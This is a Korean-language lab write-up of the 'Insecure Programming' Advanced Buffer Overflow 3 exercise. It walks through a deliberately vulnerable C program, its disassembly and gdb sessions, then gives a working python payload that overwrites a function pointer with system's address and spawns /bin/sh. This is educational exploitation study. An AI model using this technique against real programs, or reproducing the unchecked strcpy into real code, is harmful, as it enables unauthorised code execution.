Insecure Programming by example
Advanced Buffer Overflow 3
int main(int argv, char **argc) {
extern system, puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];
fn=(void(*)(char*))&puts;
strcpy(buf, argc[1]);
fn(argc[2]);
exit(1);
}
이전 문제들에 비해 복잡성을 가진 것을 확인할 수 있다.
하나씩 살펴보면 extern
키워드를 이용하여 system
함수과 puts
함수를 포인터 변수에 선언하는 내용과 두 번째 인자 값(argc[2]
)를 puts
함수의 인자로 설정하여 호출하는 것을 볼 수 있다.
objdump
를 이용하여 어셈블리어를 살펴보자.
08048414 <main>:
8048414: 55 push ebp
8048415: 89 e5 mov ebp,esp
8048417: 81 ec 28 01 00 00 sub esp,0x128
804841d: 83 e4 f0 and esp,0xfffffff0
8048420: b8 00 00 00 00 mov eax,0x0
8048425: 29 c4 sub esp,eax
8048427: c7 45 f4 fc 82 04 08 mov DWORD PTR [ebp-12],0x80482fc
804842e: c7 45 f4 2c 83 04 08 mov DWORD PTR [ebp-12],0x804832c
8048435: 8b 45 0c mov eax,DWORD PTR [ebp+12]
8048438: 83 c0 04 add eax,0x4
804843b: 8b 00 mov eax,DWORD PTR [eax]
804843d: 89 44 24 04 mov DWORD PTR [esp+4],eax
8048441: 8d 85 e8 fe ff ff lea eax,[ebp-0x118]
8048447: 89 04 24 mov DWORD PTR [esp],eax
804844a: e8 cd fe ff ff call 804831c <strcpy@plt>
804844f: 8b 45 0c mov eax,DWORD PTR [ebp+12]
8048452: 83 c0 08 add eax,0x8
8048455: 8b 00 mov eax,DWORD PTR [eax]
8048457: 89 04 24 mov DWORD PTR [esp],eax
804845a: 8b 45 f4 mov eax,DWORD PTR [ebp-12]
804845d: ff d0 call eax
804845f: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
8048466: e8 d1 fe ff ff call 804833c <exit@plt>
804846b: 90 nop
프롤로그 후 ebp - 12
위치에 0x80482fc, 0x804832c를 기록하였다. 0x80482fc 기록 후에 위치 이동 없이 0x804832c를 기록하였으므로 0x80482fc는 사용하지 않고 0x804832c를 덮어 쓴 것을 알 수 있다. C 소스 코드로 짐작하건데 0x80482fc는 system
함수 주소, 0x804832c는 puts
함수 주소인 것을 예상할 수 있다.
ebp + 12
에서 4만큼 + 이동한 곳에 저장된 값을 eax
에 저장하여 + 4 연산 후 해당 위치에 저장된 값을 esp + 4
위치에 값으로 저장하고, ebp - 0x118
에 저장된 값을 esp
위치에 기록하여 strcpy
함수 인자로 전달하고 있다. 이것으로 ebp + 12
에서 4만큼 + 이동한 주소에 arg[1]
주소가 저장되어 있다는 것을 알 수 있다.
ebp + 12
에 저장된 값을 eax
에 저장하여 + 8 연산 후 해당 위치에 저장된 값을 esp
에 저장하고, ebp - 12
에 저장된 0x804832c(puts
)를 함수 호출하고 있다. 이것으로 ebp+12
에서 8만큼 + 이동한 주소에 arg[2]
주소가 저장되어 있다는 것을 알 수 있다.
gdb를 실행하여 추측한 내용이 맞는 지 확인해보자.
(gdb) b main
Breakpoint 1 at 0x804841d
(gdb) set disassembly-flavor intel
(gdb) r 1234 5678
Starting program: /home/iamroot/workspace/abo/3/abo3 1234 5678
Breakpoint 1, 0x0804841d in main ()
(gdb) disas
Dump of assembler code for function main:
0x08048414 <main+0>: push ebp
0x08048415 <main+1>: mov ebp,esp
0x08048417 <main+3>: sub esp,0x128
0x0804841d <main+9>: and esp,0xfffffff0
0x08048420 <main+12>: mov eax,0x0
0x08048425 <main+17>: sub esp,eax
0x08048427 <main+19>: mov DWORD PTR [ebp-12],0x80482fc
0x0804842e <main+26>: mov DWORD PTR [ebp-12],0x804832c
0x08048435 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048438 <main+36>: add eax,0x4
0x0804843b <main+39>: mov eax,DWORD PTR [eax]
0x0804843d <main+41>: mov DWORD PTR [esp+4],eax
0x08048441 <main+45>: lea eax,[ebp-0x118]
0x08048447 <main+51>: mov DWORD PTR [esp],eax
0x0804844a <main+54>: call 0x804831c <strcpy@plt>
0x0804844f <main+59>: mov eax,DWORD PTR [ebp+12]
0x08048452 <main+62>: add eax,0x8
0x08048455 <main+65>: mov eax,DWORD PTR [eax]
0x08048457 <main+67>: mov DWORD PTR [esp],eax
0x0804845a <main+70>: mov eax,DWORD PTR [ebp-12]
0x0804845d <main+73>: call eax
0x0804845f <main+75>: mov DWORD PTR [esp],0x1
0x08048466 <main+82>: call 0x804833c <exit@plt>
End of assembler dump.
(gdb) x/x 0x80482fc
0x80482fc <system@plt>: 0x963825ff
(gdb) x/x 0x804832c
0x804832c <puts@plt>: 0x964425ff
(gdb) x/8s *0xbffff894
0xbffff9c5: "/home/iamroot/workspace/abo/3/abo3"
0xbffff9e8: "1234"
0xbffff9ed: "5678"
0xbffff9f2: "SSH_AGENT_PID=7009"
0xbffffa05: "TERM=xterm"
0xbffffa10: "SHELL=/bin/bash"
0xbffffa20: "GTK_RC_FILES=/etc/gtk/gtkrc:/home/iamroot/.gtkrc-1.2-gnome2"
0xbffffa5c: "WINDOWID=20975673"
(gdb) b *main+41
Breakpoint 2 at 0x804843d
(gdb) c
Continuing.
(gdb) x/s $eax
0xbffff9e8: "1234"
(gdb) b *main+67
Breakpoint 3 at 0x8048457
(gdb) c
Continuing.
Breakpoint 3, 0x08048457 in main ()
(gdb) x/s $eax
0xbffff9ed: "5678"
프로그램 시 전달한 인자 값에 대한 길이 검증이 존재하지 않으므로 스택에 할당된 buf
배열 공간보다 많은 값을 arg[1]
값으로 설정하여 전달할 시 strcpy
함수로 puts
함수 포인터를 덮어쓸 수 있다. (ebp - 0x118
-> ebp -12
)
arg[2]
값은 puts
함수 인자 값으로 사용된다. 만약 puts
함수 대신 system
함수 설정이 가능하다면 system
함수를 이용하여 임의의 시스템 명령어 수행이 가능할 것을 예상할 수 있다.
puts
함수 주소를 system
함수 주소로 덮어 쓰는 코드를 작성하여 첫 번째 인자 값으로, "/bin/sh"를 두 번째 인자 값으로 하여 프로그램을 실행해보자.
# python -c "print('\x90'*264+'\xfc\x82\x04\x08')" > arg
# ./abo3 $(cat arg) /bin/sh
sh-3.2$
프로그램에서 “/bin/sh” 명령어를 수행하여 쉘 커멘드 창이 실행된 것을 확인할 수 있다.
gdb를 이용하여 동작 시 메모리 값을 확인해보자. gdb
# gdb -q abo3
(gdb) b *main+70
Breakpoint 1 at 0x804845a
(gdb) r $(cat arg) /bin/sh
Starting program: /home/iamroot/workspace/abo/3/abo3 $(cat arg) /bin/sh
Breakpoint 1, 0x0804845a in main()
(gdb) x/x $ebp + 12
0xbffff704: 0xbffff784
(gdb) x/s *(0xbffff784 + 4)
0xbffff8dd: '\220' <repeats 200 times>...
(gdb) x/s *(0xbffff784 + 8)
0xbffff9ea: "/bin/sh"
(gdb) x/wx $ebp -12
0xbffff6ec: 0x08048300
(gdb) x 0x08048300
0x8048300 <system@plt+4>: 0x08680804
(gdb) c
Continuing.
sh-3.2$
전체 목록 보기 : Insecure programming
진행 환경 :# cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`